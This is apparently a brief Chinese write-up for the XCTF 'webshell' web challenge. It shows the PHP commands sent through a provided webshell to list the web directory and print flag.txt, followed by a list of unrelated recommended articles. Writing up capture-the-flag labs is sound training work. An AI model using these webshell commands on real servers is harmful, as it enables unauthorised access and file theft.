XCTF|XCTF WEB webshell
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070
版本一
题解：修改HTML代码提交一个shell的变量
变量值是webshell命令
???????
文章图片
文章图片
提交命令
print_r(scandir(getcwd()));
文章图片
在网站目录下发现了flag.txt
提交命令
print_r(show_source('flag.txt'));
【XCTF|XCTF WEB webshell】
文章图片
推荐阅读
- 私有化轻量级持续集成部署方案--03-部署web服务（下）
- web网页模板|如此优秀的JS轮播图，写完老师都沉默了
- spring|spring boot项目启动websocket
- OC:|OC: WKWebView详解
- WKWebview|WKWebview js 调用oc 和oc调用js
- javaweb|基于Servlet+jsp+mysql开发javaWeb学生成绩管理系统
- webug3.0渗透基础第九、十关笔记
- 前端|web前端dya07--ES6高级语法的转化&render&vue与webpack&export
- WebSocket|WebSocket 语法解析
- webpack|webpack 配置参考(production)